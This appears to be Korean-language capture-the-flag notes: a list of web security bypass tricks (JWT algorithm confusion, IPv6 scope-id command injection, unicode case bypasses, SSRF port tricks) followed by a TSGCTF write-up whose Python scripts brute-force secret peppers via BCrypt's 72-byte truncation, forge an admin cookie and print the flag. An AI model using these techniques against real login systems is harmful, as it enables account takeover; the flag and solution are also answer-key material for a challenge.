3. Node.js 소스코드에서 parseFloat 함수 등을 사용하는 경우, parseFloat issue를 고려하자.. Ref: Dreamhack Self-deception Ex) parseFloat(1 - 0.9999999) => 9.999999994736442e-8 이 때 parseInt로 변경하면 9가 된다.
4. Nginx, Haproxy 등에서 Endpoint 검증할 때 대소문자 등 다양한 방법으로 우회 시도
5. Hs256 to Rs256 public key 엔터 여부 등등 여러요소 고려
6. IPv4, IPv6 등 IP 주소를 입력할 수 있는 곳이 있다면 IPv6 Scope Id를 이용하여 Comand Injection과 같으 공격 수행 가능
7. toLowerCase(), toUpperCase() bypass with unicode
8. Python에서 SSRF 취약점 방지를 위한 PORT 검사를 할 때, 0으로 bypass 하고 iptables를 이용하여 80포트로 리다이렉션되게 할 수 있다.
hash_equals 함수에 Array를 삽입하면 $admin_password를 알아낼 수 있다.
$pepper1의 마지막 글자를 알아내기 위해서는 BCrypt의 특성을 활용해야 한다. BCrypt는 입력된 비밀번호의 첫 72바이트까지만 처리하고 이후의 문자열은 무시한다. 따라서 비밀번호를 길게 입력하면 $pepper2를 무력화할 수 있고 이 상태에서 브루트 포싱을 실행하면 $pepper1의 마지막 글자를 효율적으로 추출할 수 있다.
import base64
import bcrypt
import string
import requests
URL = "http://34.84.32.212:8080"
pepper1_15 = "PmVG7xe9ECBSgLU"
response = requests.post(
URL, data={"auth": "guest", "password": "A" * 51}, allow_redirects=False
)
hash = base64.b64decode(response.cookies["hash"])
if hash.startswith(b"$2y$"):
hash = b"$2b$" + hash[4:]
for i in string.printable:
if bcrypt.checkpw(f"{pepper1_15}{i}guest{'A' * 51}".encode(), hash):
print(f"FOUND: {pepper1_15}{i}")
break
위 테크닉을 응용하면, 동일한 방식으로 $pepper2도 추출할 수 있다.
import base64
import bcrypt
import string
import requests
URL = "http://34.84.32.212:8080"
pepper1 = "PmVG7xe9ECBSgLUA"
pepper2 = ""
for i in range(16):
response = requests.post(
URL,
data={"auth": "guest", "password": "A" * (51 - (i + 1))},
allow_redirects=False,
)
hash = base64.b64decode(response.cookies["hash"])
if hash.startswith(b"$2y$"):
hash = b"$2b$" + hash[4:]
for j in string.printable:
if bcrypt.checkpw(
f"{pepper1}guest{'A' * (51 - (i + 1)) + pepper2 + j}".encode(), hash
):
print(f"FOUND: {pepper2 + j}")
pepper2 += j
break
$ php -r "echo password_hash('PmVG7xe9ECBSgLUAadminKeTzkrRuESlhd1V8oC7mIiDFw4hQv2e', PASSWORD_BCRYPT);" | base64 -w 0
JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1
$ curl http://34.84.32.212:8080/mypage.php -H "Cookie: auth=admin; hash=JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1"
<!DOCTYPE html>
<html>
<head>
</head>
<body>
Hello admin! Flag is TSGCTF{Pepper. The ultimate layer of security for your meals.}
</body>
</html>